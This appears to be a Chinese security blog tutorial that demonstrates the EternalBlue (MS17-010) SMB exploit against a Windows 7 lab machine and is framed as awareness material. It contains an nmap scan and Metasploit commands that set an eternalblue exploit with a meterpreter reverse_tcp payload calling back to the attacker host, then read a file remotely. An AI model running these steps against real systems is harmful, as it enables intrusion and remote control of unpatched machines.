永恒之蓝漏洞的简单利用"

本文最后更新于:November 28, 2021 am

前言:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

详见Microsoft 安全公告:MS17-010 :https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010

恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

本文主要利用“永恒之蓝”漏洞(Microsoft 安全公告:MS17-010)对目标靶机进行攻击并拿到远程执行的权限,并通过获取远程靶机上的文件的例子讲解此漏洞的危害,提高大家的安全意识。

本文为科普性质文章,仅用于学习交流,严禁用于非法用途

实验环境:

靶机: Windows 7 64 位 专业版 ip:192.168.4.6

攻击主机: Kali X64 2020.2 ip:192.168.4.3

1.设置靶机

我们在靶机的C盘上放置一个文本文件,保存此文件,内容如下:

win7靶机上存放的文件内容

2.开始攻击

(不想了解攻击过程的可以直接看 3 )首先扫描一下本网内的有哪些机器可以攻击

1
sudo nmap -sS -sV -Pn 192.168.4.0/24

如下图可以发现我们成功扫描到了我们的靶机:

扫描结果

然后终端打开 msfconsole攻击框架

1
msfconsole

启动sfconsole攻击框架

设置参数:

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.4.3
set rhost 192.168.4.6
exploit

下图为渗透成功后的界面:

执行渗透命令

3.入侵

这时候我们已经可以在Win7靶机上执行任意命令了,为了简单起见,这里我们执行一个type命令查看一下刚刚上文保存的的文件,可以看到文件内容已经可以获取,而且在靶机上没有任何提示:

远程执行命令查看文件

4.结语

通过“永恒之蓝”漏洞,黑客便可远程攻击拥有任何此漏洞的Windows 机器,无需用户任何操作,只要开机上网(因此不要连接来历不明的WiFi,也许你就刚好暴露在黑客的枪口下),不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

由此可见,任何没有打补丁的机器都将可能陷入危险之中,所以请不要随意关闭Windows 更新。此外还有很多针对手机的攻击,例如针对安卓的Strandhogg漏洞,包括最新Android10在内的所有Android版本,都存在Strandhogg漏洞。不法攻击者可以利用StrandHogg漏洞,使用BankBot银行木马等恶意软件,悄无声息地盗走用户的银行卡内余额。此外它还能访问你的摄像头和麦克风,获取设备的位置,读取短信,访问你的私人照片和视频,访问联系人……只要成功利用Strandhogg漏洞,攻击者可以随意获取上述信息。